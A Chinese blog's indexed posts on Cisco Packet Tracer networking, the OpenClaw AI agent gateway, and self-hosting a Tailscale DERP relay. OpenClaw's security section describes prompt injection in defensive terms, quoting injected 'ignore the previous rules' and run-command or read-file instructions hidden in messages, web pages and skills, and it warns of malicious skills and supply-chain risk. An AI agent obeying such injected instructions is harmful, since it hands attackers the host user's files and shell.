NAT：从公网地址池里分配地址 Router(config)# interface gigabitEthernet 0/0/0 Router(config-if)# ip nat inside Router(config)# interface serial 0/2/0 Router(config-if)# ip nat outside Router(config)# access-list 1 permit 192.168.0.0 0.0.255.255 Router(config)# ip nat pool DZC 100.1.1.3 100.1.1.10 netmask 255.255.255.0 Router(config)# ip nat inside source list 1 pool DZC 如果希望“地址池 + 端口复用”一起用，可以写成： Router(config)# ip nat inside source list 1 pool DZC overload 常用查看命令： show ip nat translations show ip nat statistics clear ip nat translation * ","date":"2026-04-24","heading":"动态 NAT：从公网地址池里分配地址","objectID":"/posts/cisco-packet-tracer/:10:2","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#动态-nat从公网地址池里分配地址"},{"categories":["网络"],"collections":null,"content":"故障排查 排错建议按“终端 -\u0026gt; 接入 -\u0026gt; 汇聚 -\u0026gt; 核心 -\u0026gt; 出口”的方向查，不要一上来就全网乱翻。 ","date":"2026-04-24","heading":"故障排查","objectID":"/posts/cisco-packet-tracer/:11:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#故障排查"},{"categories":["网络"],"collections":null,"content":"基础排错顺序 先确认终端 IP、掩码、网关、DNS 是否正确 ping 本 VLAN 网关，看本地三层是否正常 ping 内网服务器，看园区路由是否正常 用 tracert 看流量断在哪一跳 在对应设备上看 show ip route、show ip ospf neighbor、show standby brief 出外网异常时，再看 show ip nat translations ","date":"2026-04-24","heading":"基础排错顺序","objectID":"/posts/cisco-packet-tracer/:11:1","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#基础排错顺序"},{"categories":["网络"],"collections":null,"content":"常见问题 三层交换机忘记开启 ip routing DHCP 地址池默认网关填成物理网关，而不是 HSRP 虚拟网关 default-information originate 配了，但本机没有默认路由 串口 DCE 端忘记 clock rate 把所有接口都 no passive-interface，导致用户 VLAN 也去建 OSPF 邻居 NIM-ES 交换模块口理解错，把二层口和三层口命令混着写 NAT 的 inside / outside 打反 ACL 写完忘了绑到接口，或者绑反了 in / out ACL 只写了 deny，忘了最后补需要的 permit HSRP 主设备和 STP 根桥不一致，导致流量绕路 ","date":"2026-04-24","heading":"常见问题","objectID":"/posts/cisco-packet-tracer/:11:2","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#常见问题"},{"categories":["网络"],"collections":null,"content":"一组常用命令 show running-config | include helper show running-config | section access-list show ip interface brief show ip route show ip protocols show vlan brief show interfaces trunk show standby brief show spanning-tree vlan 10 show ip ospf neighbor show ip rip database show access-lists show ip nat translations clear ip nat translation * Ctrl + Shift + 6 default interface FastEthernet 0/1 erase startup-config reload ","date":"2026-04-24","heading":"一组常用命令","objectID":"/posts/cisco-packet-tracer/:12:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#一组常用命令"},{"categories":["网络"],"collections":null,"content":"参考 1.思科企业网搭建-企业网含无线-从零开始配置教程_哔哩哔哩_bilibili ","date":"2026-04-24","heading":"参考","objectID":"/posts/cisco-packet-tracer/:13:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#参考"},{"categories":["AI"],"collections":null,"content":"介绍了一些AI的基本概念，openclaw的应用，openclaw的安全相关问题 ","date":"2026-04-05","heading":"","objectID":"/posts/openclaw/:0:0","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#"},{"categories":["AI"],"collections":null,"content":"前置概念 很多人可能还是停留在 4 年前 CHATGPT 刚刚出来的时候，AI 仅仅是网页聊天你问我答的功能。 但如今 AI 已经能完成很多任务，变化巨大。应用形态大概可以这样理解： WEB 问答 AI -\u0026gt; 集成 IDE 的代码助手（coursor） -\u0026gt; 给一个虚拟环境执行（manus） -\u0026gt; AI CLI（Claude code） -\u0026gt; OpenClaw 越往后走，AI 越不像“网页聊天”，越像“能接收目标、调用工具、持续运行的系统”。 这篇文章主要讲 OpenClaw，在此之前先把几个经常混在一起的概念捋清楚。 LLM：大语言模型。可以先粗暴理解成一个超大号的“填词器”。你给它一段上下文，它根据概率预测下一个 token 应该是什么。聊天、翻译、写代码，本质上都还是在做这个事。 Token：可以理解成模型处理文本时的最小切分单位。中文通常粗略估算时可以认为 1 个中文汉字约等于 1~2 个 token，英文通常比中文省 token 一些。 Prompt：提示词，也就是你给模型的任务描述。早期模型能力弱，所以那时很强调 提示词工程（Prompt Engineering），大家会认真设计角色、约束、步骤、输出格式，让模型尽量别跑偏，比如： # Role: [身份] # Context: [这对我的职业生涯很重要] # Constraints 1. 语言：始终使用简体中文回答。 2. 深度：严禁敷衍。涉及命令时，必须解释关键参数的底层含义。 3. 思维：鼓励触类旁通，提供跨学科类比。 4. 态度：保持中立，严禁幻觉。 5. 逻辑：结论后必须简述逻辑依据。 6. 数据：处理被 标签包裹的内容时，需进行深度审计。 # Workflow 1. 【分析】：先分析问题，给出【解决思路地图（Roadmap）】。 2. 【澄清】：列出 2-3 个需要补充的细节（若清晰则跳过）。 3. 【暂停】：**停止输出**。等待确认后继续。 4. 【追踪】：从下轮对话起，在回复末尾维护一个 [Project Checklist]，标注进度。 # Task [输入问题] 现在很多 AI CLI 已经把这些能力做进系统提示词、工作流、规则文件里了，所以普通用户不用再手搓那么长一段模板。 Context：上下文。LLM 没有“人类意义上的记忆”，它看起来记得你之前说过什么，是因为你每次发消息时，系统都会把前面的对话、规则、工具结果打包一起发给模型。这个打包进去的内容就叫上下文。上下文窗口越大，AI 一次性能看到的信息越多。 我还记得我一年前使用 gemini 的时候，一个项目越做，幻觉概率就越高，越降智。所以说上下文窗口大小还是很重要的。虽然说 gemini 也是上下文窗口大起家，但也是不太够用 现在领先的 LLM 已经有 1 million 的上下文窗口了，完全塞得进很多项目的上下文。 因为上下文有限，又提出了 RAG 、context engineering 的概念，这里就不说了。 Memory：记忆。记忆不是模型脑子里突然长出了长期记忆，而是把重要信息额外保存下来，下次再塞回上下文里。比如把项目规则写进 AGENTS.md，把长期偏好写进 MEMORY.md，本质上都是“外部记忆”。 Tool / Skill：工具和技能。工具是一个具体能力，比如联网搜索、执行 shell、读写文件、打开浏览器、OCR 识别图片文字。技能则更像“把几个工具按固定套路打包好”的可复用流程。 Agent：智能体。这个词最容易被说玄乎，其实可以先理解成：LLM + 工具 + 记忆 + 工作流控制。 也就是说，Agent 不只是回答一句话，而是会围绕一个目标做多步动作，比如： 理解你的目标是什么。 判断要不要调用工具。 执行工具。 读取工具结果。 继续判断下一步要做什么。 所以严格说，最早的 GPT 只是模型，不是 Agent；OCR 只是能力，也不是 Agent。只有“能围绕目标自主调用能力并继续行动”的那一层，才更接近 Agent。 AI CLI：可以把它理解成“运行在终端里的 agent”。它已经不是简单的网页问答，而是能直接读取当前项目、搜索文件、改代码、跑命令、看测试结果、接 git、接 MCP 的工具。 比如 Codex CLI、Claude Code、Gemini CLI 这种东西，本质都是让 AI 真正进入你的本地工作环境里干活。 ","date":"2026-04-05","heading":"前置概念","objectID":"/posts/openclaw/:1:0","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#前置概念"},{"categories":["AI"],"collections":null,"content":"OpenClaw 如果说 AI CLI 是“一个人在终端里调用 AI 干活”，那 OpenClaw 更像“把 AI 做成一个长期在线的控制平面”。 它不是单纯更强的模型，也不是单纯另一个聊天工具，而是一个 Gateway / Hub： 可以接入 Telegram、Slack、Discord、WebChat 等多个消息入口。 可以把浏览器、节点设备、自动化任务、记忆、工作区统一挂到同一个系统里。 可以让 AI 不只是聊天，而是长期待命、跨设备执行、定时执行、通过 webhook 被外部系统触发。 还可以把 Codex、Claude Code、Gemini CLI 这类 AI CLI 当作自己的后端执行器。 所以 OpenClaw 和 AI CLI 不是简单的替代关系，更像是两层东西： AI CLI 解决的是：“我怎么让 AI 在这台机器、这个仓库里直接干活？” OpenClaw 解决的是：“我怎么把 AI 变成一个能从聊天、设备、定时任务、工作流里随时调用的长期系统？” 也可以这样粗略理解这条演进路线： WEB AI：你问一句，它答一句。 IDE AI：AI 开始进入开发环境，但动作还是受限。 AI CLI：AI 进入终端，开始真正读文件、跑命令、改项目。 OpenClaw：AI 不只存在于一个终端会话里，而是变成一个可接消息、可接设备、可跑自动化、可长期在线的网关系统。 所以这篇文章要讲的核心，其实不是“又一个 AI 工具”，而是：AI 正在从一次性问答工具，变成一个能接入现实工作流的操作层。 如果只把 OpenClaw 理解成“聊天机器人”，会低估它；如果把它理解成“一个 AI Gateway + Agent 控制平面”，就比较接近了。 OpenClaw = 入口层 + Gateway 控制层 + 执行层 + 状态层 入口层：消息从哪里进来。 控制层：由 Gateway 决定谁能进、路由给谁处理。 执行层：真正干活的是 LLM、浏览器、节点、AI CLI、插件。 状态层：工作区、记忆、历史对话、任务状态会被持续保存。 flowchart TB subgraph L1[入口层] I1[聊天渠道] I2[Web UI / API] I3[Webhook / Cron] end subgraph L2[控制层] G1[Gateway] G2[Session / Agent 路由] end subgraph L3[执行层] E1[LLM] E2[Browser] E3[Node / system.run] E4[ACP -\u003e AI CLI] E5[插件 / MCP] end subgraph L4[记忆层] S1[Workspace] S2[Memory] S3[历史对话] S4[日志 / Task] end L1 --\u003e L2 L2 --\u003e L3 L2 --\u003e L4 L4 --\u003e L2 L3 --\u003e L2 ","date":"2026-04-05","heading":"OpenClaw","objectID":"/posts/openclaw/:2:0","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#openclaw"},{"categories":["AI"],"collections":null,"content":"一次请求的运行时序 sequenceDiagram actor U as 用户/外部系统 participant G as Gateway participant W as Workspace/Memory participant L as LLM/Agent participant T as Tools U-\u003e\u003eG: 发消息 / Webhook / Cron 触发 G-\u003e\u003eG: 身份校验 + 路由到 Session G-\u003e\u003eW: 读取规则、记忆、历史 G-\u003e\u003eL: 发送上下文 + 当前任务 L--\u003e\u003eG: 判断是否需要工具 alt 需要工具 G-\u003e\u003eT: 调用 Browser / Node / AI CLI / 插件 T--\u003e\u003eG: 返回结果 G-\u003e\u003eL: 把工具结果补进上下文 L--\u003e\u003eG: 继续判断 / 生成最终结果 else 不需要工具 L--\u003e\u003eG: 直接生成结果 end G-\u003e\u003eW: 写入记忆 / 日志 / 任务状态 G--\u003e\u003eU: 返回回复或触发后续任务 ","date":"2026-04-05","heading":"一次请求的运行时序","objectID":"/posts/openclaw/:2:1","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#一次请求的运行时序"},{"categories":["AI"],"collections":null,"content":"具体描述 用户或者外部系统先把事件送进来，入口可以是聊天消息、Web 界面、API、Webhook，也可以是定时任务自己触发。 OpenClaw 的 Gateway 先做入口控制，比如身份校验、白名单、pairing，然后决定把这条请求路由到哪个 agent、哪个 session。 路由完成后，系统会装载对应工作区，把 AGENTS.md、TOOLS.md、MEMORY.md、历史对话、任务状态这些东西一起组装成上下文。 LLM 看到这些上下文之后，先理解目标，再判断这次是“直接回答”还是“必须调用工具”。 如果需要工具，OpenClaw 就去调用浏览器、节点、shell、文件系统、ACP 后端，甚至把任务继续转给 Codex、Claude Code、Gemini CLI 这类 AI CLI。 工具返回结果后，LLM 再读一轮结果，决定是继续执行下一步，还是收尾回复，并把结果写回记忆、日志、任务系统。 所以 OpenClaw 的运行本质不是“一次问答”，而是一个循环： 输入事件 -\u0026gt; Gateway 路由 -\u0026gt; 组装上下文 -\u0026gt; LLM 判断 -\u0026gt; 调用工具 -\u0026gt; 回看结果 -\u0026gt; 输出 / 记忆 / 继续任务 这也是它和普通 AI CLI 最大的不同： AI CLI 更像“当前终端里的执行器”。 OpenClaw 更像“长期在线的 AI 中控系统”。 在 OpenClaw 里，AI CLI 往往只是工具层里的一个后端执行器，而不是整个系统本身。 ","date":"2026-04-05","heading":"具体描述","objectID":"/posts/openclaw/:2:2","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#具体描述"},{"categories":["AI"],"collections":null,"content":"应用场景 ","date":"2026-04-05","heading":"应用场景","objectID":"/posts/openclaw/:3:0","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#应用场景"},{"categories":["AI"],"collections":null,"content":"开发 如果只是单纯改代码，Codex CLI、Claude Code 这种 AI CLI 已经很好用了；但 OpenClaw 的优势在于，它可以把“聊天入口、任务拆解、多 agent、代码执行、长期上下文”串成一个持续运行的开发系统。 一个比较典型的用法是：上层先放一个“秘书型 agent”，负责接受人的需求，理解问题，拆分任务，然后把任务继续分给下面更具体的 agent。 比如： 一个 agent 只负责代码搜索和上下文整理。 一个 agent 只负责真正改代码。 一个 agent 只负责跑测试、读日志、总结结果。 还有一种做法是先把任务拆成 GitHub issue，再让不同 agent 只围绕 issue 工作。 这样做的好处是让不同职责的 agent 有不同上下文和权限，避免一个 agent 什么都做，最后上下文过大、幻觉变多、边界也更乱。 提示词工程也有类似的思想，解耦 对于我来说就是处理日志交给 gemini flash ，然后将处理结果交给 gemini pro。 另外，OpenClaw 还能把 Codex、Claude Code、Gemini CLI 这类 AI CLI 当成后端执行器。也就是说，OpenClaw 不一定自己直接改代码，它也可以充当上层调度系统：用户在 Telegram、Slack、Web UI 里下达任务，OpenClaw 再去拉起更擅长 coding 的 agent。 这种工作流有点像下面这个项目： GitHub - cft0808/edict: 🏛️ 三省六部制 · OpenClaw Multi-Agent Orchestration System — 9 specialized AI agents with real-time dashboard, model config, and full audit trails · GitHub 所以在开发场景里，OpenClaw 更适合做这些事情： 接收需求，整理成可执行任务。 让多个 agent 分工合作，而不是所有事都塞给一个会话。 挂接 AI CLI、浏览器、shell、文件系统，形成一条完整开发链路。 把项目规则、历史决策、工作区记忆保留下来，减少每次重新解释背景的成本。 不过这种自动模式不一定需要贯彻到底，我在 V2EX 上面也看到有人只是用来做一些简单的、表层的任务，真正复杂的任务还是自己的看。“往事开头难”，openclaw 已经把开头的事情给完成了。 ","date":"2026-04-05","heading":"开发","objectID":"/posts/openclaw/:3:1","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#开发"},{"categories":["AI"],"collections":null,"content":"运维 运维其实和 LLM 很搭。因为运维大量面对的就是文本：日志、命令、配置、告警、状态信息、工单。 而 OpenClaw 又天然支持消息入口、Webhook、定时任务、节点设备和 shell 执行，所以它非常适合做轻量级 ChatOps。 比如可以这样用： 监控系统通过 webhook 把告警推给 OpenClaw。 OpenClaw 先读告警内容，判断严重程度，做第一轮摘要。 如果需要，它再调用节点或者 shell 去执行只读检查命令，比如 journalctl、docker ps、磁盘检查、日志搜索。 如果问题和后台页面有关，还可以调用浏览器去看 Grafana、Kibana、云控制台。 最后把结论回发到 Telegram、Slack、Discord，或者继续创建后续任务。 这和传统 bot 最大的区别是：它不是“收到消息后回一句话”，而是“收到消息后先帮你做一轮排查”。 除此之外，OpenClaw 还很适合做巡检型运维： 定时检查服务是否在线。 检查证书是否快过期。 检查备份任务有没有成功。 把每天的系统摘要自动发到固定渠道。 在 openclaw 还叫 clawcode 的时候，就在 NS 论坛上面看到有人说要取代运维了。但是从安全角度来说不太可能。 运维是 OpenClaw 风险最高的场景之一。因为一旦 agent 同时拥有外部消息入口、shell、浏览器和高权限配置修改能力，风险会非常大。 所以实际使用时更合理的方式往往是：前台 agent 负责分诊，真正高权限的命令只交给受限节点或者经过审批的 agent 去执行。 ","date":"2026-04-05","heading":"运维","objectID":"/posts/openclaw/:3:2","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#运维"},{"categories":["AI"],"collections":null,"content":"个人工作流 个人工作流其实是 OpenClaw 最有想象力的地方。因为它不是一个只会在网页里回答问题的 AI，而是一个可以长期待命、能接消息、能开浏览器、能记事、能定时跑任务的“个人中控”。 OpenClaw 可以开一个独立的、权限受限的浏览器，用来访问 web 页面获取信息。 这意味着它不只是“搜索一下”，而是可以做更完整的工作流： 定时打开几个固定网站，帮你抓取更新信息。 看网页、截图、导出 PDF、再做总结。 代替你去看一些没有 API、但可以网页访问的信息源。 把网页信息和聊天记录、已有记忆结合起来，整理成日报或摘要。 因此它可以充当一种比较智能的 RSS，也可以进一步变成个人秘书： 每天早上整理消息、邮件、待办和日程。 收到外部通知后先做摘要，再决定要不要提醒你。 把聊天里提到的重要事情写入记忆，形成长期上下文。 定时做周报、月度复盘、信息归档。 如果再配合节点和移动端，OpenClaw 甚至不只处理文字信息，还能连接手机、通知、设备能力。 从这个角度看，它更像一个“个人 AI 工作流中枢”，而不是一个单纯的聊天机器人。 和 N8N 的区别是: N8N：事件驱动 / 流程驱动 OpenClaw：人驱动 / 对话驱动 / 助手驱动 ","date":"2026-04-05","heading":"个人工作流","objectID":"/posts/openclaw/:3:3","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#个人工作流"},{"categories":["AI"],"collections":null,"content":"安全 OpenClaw 的安全问题，本质上不是普通 Web 服务那种“接口有没有鉴权”，而是：你在运行一个拥有真实权限、能持续行动、还能调用工具的 agent。 OpenClaw Agent 继承运行用户的系统权限，它能读写文件、执行 Shell、调用 API、打开浏览器、连接节点设备。这意味着： Agent 可能访问服务器上的敏感文件，例如 SSH 密钥、环境变量、配置文件、浏览器会话。 Agent 可能执行命令、修改配置、创建 cron、保留长期任务。 一旦 Agent 被恶意输入带偏，攻击者获得的就不只是一次回答，而是接近宿主机用户权限的行动能力。 因此 OpenClaw 的安全重点是先缩小权限、缩小入口、缩小爆炸半径。 ","date":"2026-04-05","heading":"安全","objectID":"/posts/openclaw/:4:0","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#安全"},{"categories":["AI"],"collections":null,"content":"公网暴露与部署方式 OpenClaw 官方的安全模型更偏向“可信单操作者”，也就是一个人给自己用的个人助手，而不是面向互不信任用户的公网共享平台。 所以最重要的原则其实很朴素：不要默认把它当成公网服务去裸奔。 更稳妥的做法通常是： 默认只绑定本地回环地址，本机使用。 如果要远程访问，优先走 VPN、Tailscale、内网穿透后的受控访问。 对外部消息渠道启用 pairing、allowlist、mention gating，不要让陌生人直接给高权限 agent 发指令。 把不同用途的 agent 拆开，不要让同一个 agent 同时拥有聊天入口、浏览器、shell、cron、配置修改能力。 如果一个 OpenClaw 实例直接暴露在公网，而且还带有高权限工具，它就很容易变成潜在的攻击入口。 ","date":"2026-04-05","heading":"公网暴露与部署方式","objectID":"/posts/openclaw/:4:1","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#公网暴露与部署方式"},{"categories":["AI"],"collections":null,"content":"容器使用 见过不少人使用 CLI 结果把整个 D 盘文件删除，对于这种可能获取高权限的服务最好是运行在沙箱。 容器能解决的是： 把 agent 的文件访问范围限制在一部分目录里。 限制部分系统调用和宿主机访问。只挂载代理绝对需要的目录，并尽可能使它们只读。 在发生错误或被带偏时，缩小破坏范围。 关闭任何出站互联网访问，除了明确允许的 API 端点（OpenRouter 等）。这样即使一个 SKILLS 试图窃取数据，它也不能联系外部。 但容器解决不了这些问题： 如果敏感文件本来就挂载进容器里，agent 依然能读到。 如果浏览器 profile、API token、会话文件放在可访问路径里，容器并不会自动帮你保密。 如果把高权限节点、浏览器、shell 全部开放给 agent，沙箱也只能部分缓解风险。 ","date":"2026-04-05","heading":"容器使用","objectID":"/posts/openclaw/:4:2","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#容器使用"},{"categories":["AI"],"collections":null,"content":"提示词注入 提示词注入是 OpenClaw 这类 agent 系统里最核心的风险之一。 因为 OpenClaw 接收的“不可信输入”远不止用户发来的一句话，还包括： Telegram、Slack、Discord、邮件、Webhook 发来的内容。 浏览器访问到的网页内容。 文档、截图、OCR 结果、日志、工单、第三方 API 返回值。 skills、插件、工具返回的文本结果。 这些内容都可能夹带“让你忽略前面的规则”“执行某条命令”“读取某个文件”之类的恶意指令。 而 LLM 并不能稳定地区分“这是要处理的数据”还是“这是要服从的指令”。 所以对抗提示词注入，核心不是指望模型永远识别出来，而是： 把外部消息都视为不可信输入。 对处理不可信内容的 agent 默认关闭高风险工具。 必要时启用审批、沙箱和只读模式。 不让浏览器、shell、配置修改、cron 持久化能力集中到同一个面向外部输入的 agent 上。 最近官方连续修复过多类安全问题，覆盖本地文件读取、远程路径删除、审批绑定绕过、OAuth 边界和插件信任边界。这也说明 OpenClaw 的安全难点，恰恰就在“模型决策 + 工具执行 + 外部输入”交叉的地方。 # CVE-2026-30741 ","date":"2026-04-05","heading":"提示词注入","objectID":"/posts/openclaw/:4:3","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#提示词注入"},{"categories":["AI"],"collections":null,"content":"不安全的 skills 很多人会把 skill 理解成“提示词模板”，但在 OpenClaw 里，skill 往往不只是文本，它还可能绑定脚本、命令、工具调用逻辑，甚至引导 agent 拉起外部执行器。 风险主要在几个地方： skill 可能诱导 agent 调用本来不该开放的工具。 skill 可能间接扩大权限边界，比如让 agent 更频繁地接触 shell、浏览器、文件系统。 skill 自身如果来自不可信来源，里面的脚本和流程也可能有问题。 所以更安全的做法是： 不要看见 skill 就直接装。 先看它会调用哪些工具、读写哪些路径、依赖哪些脚本。 对互联网入口 agent，默认不要给 exec、gateway、cron、sessions 这类高风险能力。 技能最好分层：公开入口用低权限 skill，真正执行操作的部分交给受限 agent 或经审批流程。 Reddit - # 在 OpenClaw 的 ClawHub 市场中发现了 820 个恶意技能。安全研究人员表示担忧 ","date":"2026-04-05","heading":"不安全的 skills","objectID":"/posts/openclaw/:4:4","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#不安全的-skills"},{"categories":["AI"],"collections":null,"content":"供应链攻击 OpenClaw 的扩展能力很强，但这也意味着它天然带有供应链风险。 插件、skills、npm 包、外部脚本、浏览器扩展、第三方集成，只要有一层被污染，最终都可能进入 agent 的执行链。 这一类风险常见的表现是： 安装了来路不明的 plugin / skill。 直接信任第三方脚本或 curl | bash 安装方式。 给插件过大的文件系统、网络、会话访问权限。 升级依赖后把恶意变更带进来，自己却没有察觉。 因此供应链防护的重点是： 只安装可信来源的 plugin 和 skill。 尽量固定版本，避免无感漂移。 安装前先读 manifest、脚本、依赖。 把插件和工作区看成高敏感资产，不要随便混用。 比如说前几天的 axios 的供应链攻击: binance.com/fr/square/post/307404730097442 这种主要是要看开发者的安全意识，使用者应尽可能关注相关安全信息 Overview · openclaw/openclaw · GitHub。 ","date":"2026-04-05","heading":"供应链攻击","objectID":"/posts/openclaw/:4:5","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#供应链攻击"},{"categories":["AI"],"collections":null,"content":"小结 少暴露：不要默认上公网。 少权限：高风险工具默认关闭。 少信任：外部消息、网页、文档都按不可信输入处理。 少耦合：把聊天入口、浏览器、shell、cron、配置修改拆给不同 agent。 多审计：定期检查配置、依赖、日志和长期任务。记忆层必须可控、可审计、可回滚长期记忆不能向模型开放任意写权限。任何新增、覆盖或删除记忆的动作都应当留痕，并允许人工审查。 加固: GitHub - slowmist/openclaw-security-practice-guide: This guide is designed for OpenClaw itself (Agent-facing), not as a traditional human-only hardening checklist. · GitHub ","date":"2026-04-05","heading":"小结","objectID":"/posts/openclaw/:4:6","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#小结"},{"categories":["AI"],"collections":null,"content":"参考 Hung-yi Lee - YouTube OpenClaw官方文档 马克的技术工作坊 - YouTube OpenClaw 安全和功能增强实践 | 亚马逊AWS官方博客 【闪客】一口气拆穿Skill/MCP/RAG/Agent/OpenClaw底层逻辑_哔哩哔哩_bilibili Reddit - # OpenClaw的安全性比我预想的要糟糕，我不知道该怎么处理 ","date":"2026-04-05","heading":"参考","objectID":"/posts/openclaw/:5:0","tags":["openclaw","AI","安全"],"title":"Openclaw的一些知识","uri":"/posts/openclaw/#参考"},{"categories":["折腾"],"collections":null,"content":"derper 是Tailscale/headscale 自建的中转节点，用来组网解决公共节点打洞成功率太低和延迟问题。 ","date":"2026-04-04","heading":"","objectID":"/posts/derper/:0:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#"},{"categories":["折腾"],"collections":null,"content":"自建 DERP 节点 ","date":"2026-04-04","heading":"自建 DERP 节点","objectID":"/posts/derper/:0:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#自建-derp-节点"},{"categories":["折腾"],"collections":null,"content":"序 之前用一台国外 VPS 配合 sing-box 开过 DERP。和公共 DERP 相比，带宽能跑满，但因为线路和 NAT 环境问题，UDP 打洞一直没成功。 后来换成国内云主机，改用官方 derper 二进制重新部署。 如果机器上没有现成的 Nginx 和证书体系，优先用更简单的官方直跑方案： -a :443 -http-port 80 -certmode letsencrypt 我最终采用的方案：Nginx 监听 443，后端 derper 监听 12443，证书由 Nginx 管理，derper 用 manual 模式读取证书。 ","date":"2026-04-04","heading":"序","objectID":"/posts/derper/:1:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#序"},{"categories":["折腾"],"collections":null,"content":"最终架构 流量路径如下： 客户端 -\u003e TCP 443 -\u003e Nginx -\u003e https://127.0.0.1:12443 -\u003e derper 客户端 -\u003e UDP 3478 ---------------------------------------\u003e derper(STUN) 对应关系： 443/tcp：DERP 客户端入口，走 Nginx 3478/udp：STUN 打洞，直达 derper 12443/tcp：后端 derper 监听端口，只给本机 Nginx 用，阿里云防火墙策略里面不对公网放行 --verify-clients 用来防止其他人白嫖 如果开启 --verify-clients： DERP 机必须安装并接入 tailscaled derper 会通过本机 tailscaled 判断客户端是不是自己 tailnet 的成员 ","date":"2026-04-04","heading":"最终架构","objectID":"/posts/derper/:2:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#最终架构"},{"categories":["折腾"],"collections":null,"content":"端口规划 至少要确认这些端口： 443/tcp：放行 3478/udp：放行 80/tcp：只在你需要 Nginx 做 ACME 或 HTTP 跳转时放行 12443/tcp：不要在云安全组里放行 这样外部只能通过 Nginx 进来，但 STUN 还能正常工作。 ","date":"2026-04-04","heading":"端口规划","objectID":"/posts/derper/:3:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#端口规划"},{"categories":["折腾"],"collections":null,"content":"前提条件 假设： 系统是 Debian 12 域名是 derp.example.com 域名已经解析到 VPS 公网 IP 证书由 Nginx 或其他现有流程维护 如果准备开启 --verify-clients，还需要： 安装 tailscaled 让这台 DERP 机加入正确的 tailnet 最好给它打上 tag:derp 如果机器上启用了 Tailscale，且 apt update 超时，优先确认不是 DNS 或私网镜像源问题。长期建议： sudo tailscale set --accept-dns=false --netfilter-mode=off ","date":"2026-04-04","heading":"前提条件","objectID":"/posts/derper/:4:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#前提条件"},{"categories":["折腾"],"collections":null,"content":"安装 Go 和 derper 验证 Go： go version 如果没装 Go，自行安装到 /usr/local/go 后，补 PATH： echo 'export PATH=$PATH:/usr/local/go/bin' | sudo tee /etc/profile.d/go.sh 创建运行目录： sudo useradd --system --home /var/lib/derper --create-home --shell /usr/sbin/nologin derp sudo install -d -o derp -g derp -m 0750 /var/lib/derper /var/lib/derper/certs 安装 derper： sudo env PATH=$PATH GOBIN=/usr/local/bin /usr/local/go/bin/go install tailscale.com/cmd/derper@latest 如果国内网络太慢： sudo env PATH=$PATH GOBIN=/usr/local/bin GOPROXY=https://goproxy.cn,direct /usr/local/go/bin/go install tailscale.com/cmd/derper@latest 验证： /usr/local/bin/derper -version ","date":"2026-04-04","heading":"安装 Go 和","objectID":"/posts/derper/:5:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#安装-go-和-derper"},{"categories":["折腾"],"collections":null,"content":"安装并接入 Tailscale 如果要用 --verify-clients，DERP 机必须先入网： curl -fsSL https://tailscale.com/install.sh | sh sudo systemctl enable --now tailscaled sudo tailscale up sudo tailscale set --advertise-tags=tag:derp 检查状态： tailscale version systemctl status tailscaled sudo tailscale status ","date":"2026-04-04","heading":"安装并接入 Tailscale","objectID":"/posts/derper/:6:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#安装并接入-tailscale"},{"categories":["折腾"],"collections":null,"content":"证书准备 如果你已经有 Nginx 管理的证书，例如： /etc/nginx/ssl/derp/cert.pem /etc/nginx/ssl/derp/key.pem 那么 derper 使用 -certmode manual 时，不会直接认 cert.pem 和 key.pem 这种名字。它要求证书文件名必须和主机名一致： derp.example.com.crt derp.example.com.key 因此可以用软链接映射： sudo mkdir -p /var/lib/derper/certs sudo ln -sf /etc/nginx/ssl/derp/cert.pem /var/lib/derper/certs/derp.example.com.crt sudo ln -sf /etc/nginx/ssl/derp/key.pem /var/lib/derper/certs/derp.example.com.key 这是这次排障里最关键的坑之一： 开了 -certmode manual 却没配 -certdir 或者证书文件名不匹配主机名 结果就是 derper 直接启动失败，Nginx 对后端只能拿到 502 Bad Gateway。 ","date":"2026-04-04","heading":"证书准备","objectID":"/posts/derper/:7:0","tags":["组网","Tailscale"],"title":"Derper 搭建","uri":"/posts/derper/#证书准备"},{"categories":["折腾"],"collections":null,"content":"derper.service 最终采用的 systemd 配置如下： /etc/systemd/system/derper.service [Unit] Description=Tailscale DERP Server Wants=network-online.target tailscaled.service After=network-online.target tailscaled.service Requires=tailscaled.service 